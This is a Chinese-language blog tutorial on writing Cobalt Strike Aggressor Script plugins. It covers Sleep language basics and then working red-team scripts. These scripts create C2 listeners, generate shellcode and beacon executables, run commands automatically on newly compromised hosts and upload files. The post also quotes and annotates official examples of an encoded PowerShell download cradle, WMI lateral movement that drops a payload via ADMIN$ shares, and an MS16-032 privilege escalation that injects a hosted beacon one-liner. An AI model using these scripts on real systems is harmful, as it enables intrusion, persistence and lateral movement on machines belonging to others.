cs插件开发

之前就有开发cs插件的意向,当时看了文档表示哪里有”老婆”好看就关闭了文档
现在重新打开看了一遍,所以写个笔记
注:本文大量参考先知社区的三篇cs开发文章,文章底部会给出参考链接

首发WBG的git books

背景

agscript是Armitage的开源脚本引擎Cortana的精神继承者。 因为DARPA的Cyber Fast Track计划才使Cortana成了可能。 Cortana支持开发者通过Armitage的团队服务器扩展Armitage并控制Metasploit Framework及其功能。 当然,Cobalt Strike 3.0并不是以Armitage为基础的重写的。 这次大弧度的版本升级是为了重新审视Cobalt Strike,并围绕Cobalt Strike的功能进行重构。 产物就是agscript的诞生。
agscript是一种简单脚本语言,主要用于红队编写针对肉鸡的攻击脚本。 它有两个作用,一是可以用来对自己的肉鸡做持久性控制,二是可以用来扩展或修改Cobalt Strike客户端以满足您的个性化需求。

agscript是以Cobalt Strike 3.0为基础的。 Cobalt Strike 3.0中绝大部分菜单/按钮事件都是由agscript引擎支撑。 Strategic Cyber LLC尚未为Cobalt Strike的大多数功能写API,也就是说,agscript目前仍处于起步阶段。 在未来,我们也期待看到agscript的发展壮大。这份文档也会随着时间的推移而变动

加载cs脚本

如何加载脚本?agscript内置于Cobalt Strike 客户端,如果需要长期使用agscript,
请移步Cobalt Strike客户端 -> Script Manager and press Load功能。

脚本控制台

Cobalt Strike提供了交互式的脚本控制台。 通过控制台可跟踪,配置,调试以及管理脚本。可以通过View- > Script Console获得进入agscript控制台。
基础命令:

命令行使用Cobalt Strike

(注意:cmd得进入到agscript的路径里,否则会出现无法加载主体的情况)您也许会希望在在没有GUI的情况下启动Cobalt Strike,客户端压缩包中的agscript这个脚本文件能够满足您的需求,连接命令:

./agscript [host] [port] [user] [password]

远程连接cs并执行脚本

./agscript [host] [port] [user] [password] [/path/to/script.cna]

test.cna

on ready {
    println("Hello cs");
    closeClient();
}

Sleep语言基础

agscript是基于Raphael Mudge的Sleep语言的二次开发的。
原手册见:http://sleep.dashnine.org/manual

注释符: #

Sleep能做的agscript都能做,下面是一些注意事项:Sleep的语法,运算符甚至俚语都与Perl极其类似,简单说一个他们的区别,Sleep需要的语句之间需要有空格,以下代码无效:(关键:但凡你少一个空格都能给你报错或者不输出,例如:println(“a=>$a”),他不会给你输出出来)

$x=1+2; # 错误
$x = 1+2; #正确

错误例子:

正确例子:

Sleep的变量有标量,字符串,各自类型的数字,Java对象引用,函数,数组以及字典等。
以下是Sleep中的常见的几种变量:

$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four"); #数组 
$a = %(a = > "apple", b = > "bat", c = > "awesome language", d = > 4); #字典

Sleep会插入双引号的字符串,这意味着以\$符号开头的任何以空格分隔的标记都将替换为其值。
特殊变量$+将插字符串与另一个值连接起来。

println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");

有一个和println类似的函数叫warn,不同的是warn输出的内容中包含了当前代码的文件名和行数
一般用于调试错误

使用sub字符即可声明函数,传给函数的参数标记为$1,$2,一直到$n。函数可以接受无数个参数。
变量@是一个包含所有参数的数组,$1,$2等变量的更改将改变@的内容。

sub addTwoValues {
    println($1  +  $2);
}

addTwoValues("3", 55.0);

字典的使用

on ready {
    $x = 3;
    %foo["name"] = "Raphael";//这tm还能自己创建一个字典
    %foo["job"]  = "wasting time"; 
    %foo[$x]     = "Michelangelo"; 
    println("%foo is: " . %foo); 
    foreach $data (keys(%foo)){ 
        //遍历字典 println("$data =>".%foo[$data]); 
    }     
    closeClient(); 
} 

遍历字典第二个方法
foreach $key = > $value (%foo) {
    println("$key => $value");
}


删除字典的某个key
on ready {
    $x = 3;
    %a = %(data = > "aaa", data2 = > "bbbb");
    removeAt(%a, "data");
    #或者删除多个key可以这么写 removeAt(%a, "data", "data2");
    println(%a);
    closeClient();
}

数组的增、删、改、查

on ready {
    $x = 3;
    $a = @("data");
    add($a, "wYYYYYYYYYYYYYYYYYYYYYYYY", - 1); #数组添加,默认在tm,0位前添加, 需要自己指定位置 
    println($a);
    println($a[ - 1]);#查询     
    closeClient();
}

#数组遍历 
on ready {
    $data = @(1, 2, 3, 4, 5, 6, 7, 8);
    foreach $index ($data) {
        println($index);
    }

    closeClient();
}

on ready {
    $x = 3;
    $a = @("data");
    add($a, "wYYYYYYYYYYYYYYYYYYYYYYYY", - 1); #数组添加,默认在tm,0位前添加, 需要自己指定位置 println($a);
    remove($a, - 1, "data");//得指定删除的内容。。。 
    println($a); 
    closeClient(); 
}

逻辑判断
(and->&&,or->|,true,false)

on ready {
    $x = 3;
    if ($x == 3)  {
        println(1);
    }

    closeClient();
}

判断是不是数组之类的操作

on ready {
    $data = @("data");
    if (! - isnumber $data)  {
        println(1);
    }

    closeClient();
}

循环

sub range {
    # Returns a new function that returns the next number in the    # range with each call.  Returns $null at the end of the range    # Don't worry, closures will come in the next chapter :)    
    return lambda( {
        return iff($begin <= $end, $begin++  -  1, $null);
    }, $begin = > $1, $end = > $2);
}

on ready {
    foreach $value (range(1, 10)) {
        println($value);
    }

    closeClient();
}

字符串处理

$a = "data"."data";#字符串的拼接 #字符串替换 
on ready {
    $a = "data"."data";
    $a = replace($a, "data", "Fk");
    println($a);
    closeClient();
}

#获取字符串长度 
$data = "dataing";
println(strlen($data));

#获取字符串指定位置 
$data = "dataing";
println(substr($data, 0, 3));

#字符串指定内容替换成数组 (函数奇葩的要命,草) 
$a = "data".".data";
$b = split('.', $a);
println($b);

#数组转字符串 
println(join('|', @("ape", "bat", "cat", "dog")));

判断一个字符串是否在数组里

$data = @("abc", "bqe");
$str = "abc";
if ($str in $data)  {
    println(111);
}

文件读写

逐行读取文件 
$handle = openf("/etc/passwd");
while $text (readln($handle)) {
    println("Read: $text");
}

一次性读完
$handle = openf("/path/to/key.pem");
$keydata = readb($handle, - 1);
closef($handle);

写入文件 
$handle = openf(">data.txt");
println($handle, "this is some data.");
closef($handle);

写入文件方法2 
$handle = openf(">out.txt");
writeb($handle, $data);
closef($handle);

更多操作参考文档

CS开发 - 命令快捷键

command test {
    println("value: $1");
}

CS开发 - 控制台颜色设置

如果你想给Cobalt Strike的控制台添加一些色彩,通过\c,\U和\o转义即可告诉Cobalt Strike如何格式化文本。 值得提醒的是这些转义仅在双引号字符串内有效。\cX就是告诉Cobalt Strike你想输出什么颜色,X是颜色的值

U是告诉控制台添加下划线,\o则是重置这些花里胡哨的东西。

CS开发 - 快捷键绑定

bind Ctrl + H {
    show_message("DIO");
}

快捷键可以是任何ASCII字符或特殊键,快捷方式可能会应用一个或多个修饰符,修饰符修饰符仅为以下几个特定按键:Ctrl,Shift,Alt,Meta。脚本可以指定修饰符+键。
按Ctrl+H效果如下

CS开发 - 弹出菜单

popup help {
    item("&blog", {
        url_open("https://422926799.github.io");
    }

    );
    item("&System Information", {
        openSystemInformationDialog();
    }

    );
}

添加子菜单

popup help {
    item("&blog", {
        url_open("https://422926799.github.io");
    }

    );
    menu "&Testing" {
        #Testing菜单下会有blog 
        item("&blog", {
            url_open("https://422926799.github.io");
        }

        );
    }

}

CS开发 - 自定义输出

set EVENT_SBAR_LEFT {
    return "[" . tstamp(ticks()) . "] " . mynick();
}

set EVENT_SBAR_RIGHT {
    return "[lag: $1 $+ ]";
}

上面的代码定义了Cobalt Strike的事件日志(View -> Event Log)中状态栏的内容,此状态栏的左侧显示当前时间和您的昵称,右侧显示了Cobalt Strike客户端和团队服务器之间的消息往返时间。Cobalt Strike中默认的各种设置都可以通过统一的方法来修改覆盖

测试了一下貌似并没有什么变化

CS开发 - 事件管理

使用on这个关键字可以为事件定义处理程序,当Cobalt Strike连接到团队服务器并准备代表您行动时,就绪事件将触发

on ready {
    show_message("舰长,我的狐狸耳朵,喜欢吗?");
}

使用* meta-event可查看再Cobalt Strike中发生的所有事件。

on  * { #加载脚本的时候就运行
    local('$handle $event $args');
    $event = shift(@_);
    $args = join(" ", @_);
    $handle = openf(">>eventspy.txt");
    writeb($handle, "[ $+ $event $+ ] $args");
    closef($handle);
}

CS数据模型


调用这些函数会返回一个模型中每个条目的数组,每行对于的是一个字典,字典中包含了键与其键值。

CS开发 - 监听器信息

agscript会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners函数,只使用本地侦听器的话用&listeners_local函数,&listener_info函数可将监听器名称解析为其配置信息

command list {
    println("监视器");
    println("------------------------------------------------------");
    foreach $listener (listeners()) {
        println("name: $listener");
        println("---------- $listener --------------");
        %data = listener_info($listener);
        foreach $key = > $value (%data) {
            println("$key => $value");
        }

        println("");
        println("");
    }

}

监听器常用的函数:

简单的做一个插件

command list{
    println("监视器");
    println("------------------------------------------------------");
    foreach $listener (listeners()){
        println("name: $listener");
        println("---------- $listener --------------");
        %data = listener_info($listener); #解析监听器获取监听器详细信息
        foreach $key => $value (%data){
            println("$key => $value");
        }
        println("");
        println("");
    }
}

command list_create{
    $name = $1;
    $payload = $2;
    $host = $3;
    $port = $4;
    $beacons = $5;
    $payloads = @("windows/beacon_dns/reverse_dns_txt", "windows/beacon_http/reverse_http", "windows/beacon_http/reverse_https", "windows/beacon_bind_pipe", "windows/beacon_bind_tcp", "windows/beacon_extc2", "windows/foreign/reverse_http", "windows/foreign/reverse_https");
    if ((strlen($name)  > 0) && (strlen($payload) > 0) && (strlen($host) > 0) && (strlen($port) > 0) && (strlen($beacons) > 0)){
        if($payload in $payloads){
            listener_create($name, $payload, $host, $port, $beacons); #新建监听器
            println("create listen sucess:");
            println("Listen_name: $name");
            println("payload: $payload");
            println("host: $host");
            println("port: $port");
            println("beacons: $beacons");
        }else{
            println("\c5Not Found payload:".$payload);
            println("payload->");
            foreach $p ($payloads){
                println("$p");
            }
        }
    }else{
        println("list_create <listen_name> <payload> <host> <port> <beacons>");
        println("\c8Multiple bacons are separated by commas");
        println("Example:list_create test3 windows/beacon_http/reverse_http 192.168.1.108 9090 192.168.1.108");
        println("\c8Supported payload:");
        foreach $p ($payloads){
            println($p);
        }
    }
}

command list_del{
    $name = $1;
    if(strlen($name) > 0){
        if ($name in listeners()){
            listener_delete($name);
            println("del listen: $name Sucess"); #删除监听器
        }else{
            println("\c5Not found listen name:".$name);
            println("list listen:")
            foreach $n (listeners()){
                println($n);
            }
        }
    }else{
        println("list_del <listen_name>");
        println("Example:list_del test3");
    }
}

效果如下
监听器查询

监听器创建

监听器删除

监听器选择
示例代码有个用UI创建监听器的

item "&Spawn" {
    openPayloadHelper(lambda({
        binput($bids, "spawn $1"); #在指定的机器上执行指定的操作(子 进 程)
        bspawn($bids, $1); #要求信标产生一个新的会话
    }, $bids => $1));
}

修改
popup beacon_bottom{
    item "&NewSpawn" {
        openPayloadHelper(lambda({
            binput($bids, "spawn $1");
            bspawn($bids, $1);
        }, $bids => $1));
    }
}

从上线的机器里在上线,就是spawn的功能

CS开发 - shellcode生成

command shellcode_create{
    $listenname = $1;
    $handle = $2;
    $arch = $3;
    if((strlen($listenname) > 0) && (strlen($handle) > 0) && (strlen($arch) > 0)){
        println("Arch: $arch");
        println("listen name: $listenname");
        println("handle: $handle");
        $data = shellcode($listenname, $handle, $arch);
        $dk = openf(">shellcode.bin");
        writeb($dk, $data);
        closef($dk);
        println("create shellcode.bin sucess");
    }else{
        println("shellcode_create <listenname> <remote_host> <arch>");
    }

}

CS开发 - exe/dll开发

分段马生成

command payload_create{
    $filename = $1;
    $listenname = $2;
    $format = $3;
    $arch = $4;
    if((strlen($filename) > 0) && (strlen($listenname) > 0) && (strlen($format) > 0) && (strlen($arch) > 0)){
        $data = artifact_stager($listenname, $format, $arch);
        $dk = openf(">$filename");
        writeb($dk, $data);
        closef($dk);
        println("create payload: $filename Sucess");
    }else{
        println("payload_create <payload_create> <listenname> <format> <arch>");
    }
}

分段马生成

sub ready {
    local('$handle');
    $handle = openf(">beacon.exe");
    writeb($handle, $1);
    closef($handle);
}

artifact_stageless("my listener", "exe", "x86", "", &ready);

还有powershell生成之类的,就不写了

CS开发 - beacon信息获取

command beacons{
    foreach $entry (beacons()){
        println("=========ip:\c9".$entry["external"]."\o========="."user:\c9".$entry["user"]."\o========="."pid:\c9".$entry["pid"]."\o========="."arch:\c9".$entry["arch"]."\o========="."computer:\c9".$entry["computer"]);
        foreach $key => $value ($entry){
            println("$key => $value");
        }
        println("");
    }
}

CS开发 - 处理新的beacons会话

为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的功能

on beacon_initial{
    binput($1, "shell whoami");
}

新机器一上线就会自动执行这个函数里的功能

CS开发 - beacon操控

alias
类似于在agscript控制台定义命令的command一样,不过alias是给beacon控制操控的

alias test{
    bshell!($1, "whoami");
}

已上线的机器右键菜单

popup beacon_bottom{
    item "query user"{
        prompt_text("Query User", "administrator", lambda({
            bshell(@ids, "net user ".$1);
        }, @ids => $1));
    }
}

询问框框等的常见操作,可以参考文档里的这里:https://www.cobaltstrike.com/aggressor-script/functions.html#prompt_text

右键菜单(子菜单/多菜单)

popup beacon_bottom{
    menu "test"{
        item "query user"{
            prompt_text("Query User", "administrator", lambda({
                bshell($ids, "net user ".$1);
            }, $ids => $1));
        }

        item "run command"{
            prompt_text("Run command", " ", lambda({
                bshell($ids, $1);
            }, $ids => $1));
        }
    }
}

文件上传
这里的文件上传,要么把要上传的文件放到当前插件的目录。要么用bcd切换工作目录,在进行bupload

alias uploadtest{
    bupload($1, script_resource("calc.exe"));
    bmv($1, "calc.exe", "C:\\Temp\\dio.exe"); #上传的文件移动到指定的路径
}

task
用于叙述任务

alias task{
    btask($1, "This is Task,so ?");
    bshell($1, "echo this is task");
}

CS开发 - 官方案例

已有指令覆盖
Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令


alias powershell {
    local('$args $cradle $runme $cmd'); #定义变量

    # $0 is the entire command with no parsing.
    $args   = substr($0, 11); #$0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)

    # generate the download cradle (if one exists) for an imported PowerShell script
    $cradle = beacon_host_imported_script($1); #将马子放到web,用于准备下载执行


    # encode our download cradle AND cmdlet+args we want to run
    $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") ); #将命令和脚本base64编码,这里编码成utf-16是因为powershell的base64默认编码是utf-16的

    # Build up our entire command line.
    $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \""; #拼接指令

    # task Beacon to run all of this.
    btask($1, "Tasked beacon to run: $args", "T1086"); #任务描述
    beacon_execute_job($1, "powershell", $cmd, 1); #使用beacon_execute_job函数执行命令并返回结果给Beacon
}

横向移动


alias wmi-alt {
    local('$mydata $myexe');

    # check if our listener exists
    if (listener_info($3) is $null) {
        berror($1, "Listener $3 does not exist");
        return;
    }

    # generate our executable artifact
    $mydata = artifact($3, "exe", true); #马子生成

    # generate a random executable name
    $myexe  = int(rand() * 10000) . ".exe"; #随机名称

    # state what we're doing.
    btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");

    # upload our executable to the target
    bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata); #文件上传到目标

    # use wmic to run myexe on the target
    bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \""); #wmic运行上传的马子

    # complete staging process (for bind_pipe listeners)
    bstage($1, $2, $3); #已删除此功能在Cobalt Strike 4.0中已删除。 使用&beacon_stage_tcp或&beacon_stage_pipe显式暂存有效负载。 使用&beacon_link链接到它。
}

提权


sub ms16_032_exploit {
    local('$script $oneliner');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");

    # generate a PowerShell script to run our Beacon listener
    $script = artifact($2, "powershell"); #根据指定的监听器生成马子内容

    # host this script within this Beacon
    $oneliner = beacon_host_script($1, $script); #将马子放到web,用于准备下载执行

    # task Beacon to run this exploit with our one-liner that runs Beacon
    bpowershell_import!($1, script_resource("Invoke-MS16032.ps1")); #导入powershell脚本
    bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \""); #生成一个新的进程注入powershell脚本

    # handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
    bstage($1, $null, $2);
}

远程主机powershell使用例子
beacon_host_script重新说明一下:用于将指定的powershell脚本/内容,放到web。生成远程调用命令
bpowerpick:在目标机执行powershell command

alias test{
    $path = "test.ps1";
    $script = "wmic process call create calc";
    $oneliner = beacon_host_script($1, $script); #将马子放到web,用于准备下载执行
    bpowerpick($1, $oneliner); #新开进程注入powershell脚本
}

参考链接

https://xz.aliyun.com/t/5887 CobaltStrike插件开发官方指南 Part1
https://xz.aliyun.com/t/5892 CobaltStrike插件开发官方指南 Part2
https://xz.aliyun.com/t/6188 CobaltStrike插件开发官方指南 Part3
https://www.cobaltstrike.com/aggressor-script cs官方开发文档
http://sleep.dashnine.org/manual sleep官方文档


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:cs插件开发

本文作者:九世

发布时间:2020-08-12, 10:23:20

最后更新:2020-08-12, 18:05:50

原始链接:http://422926799.github.io/posts/e5e87074.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录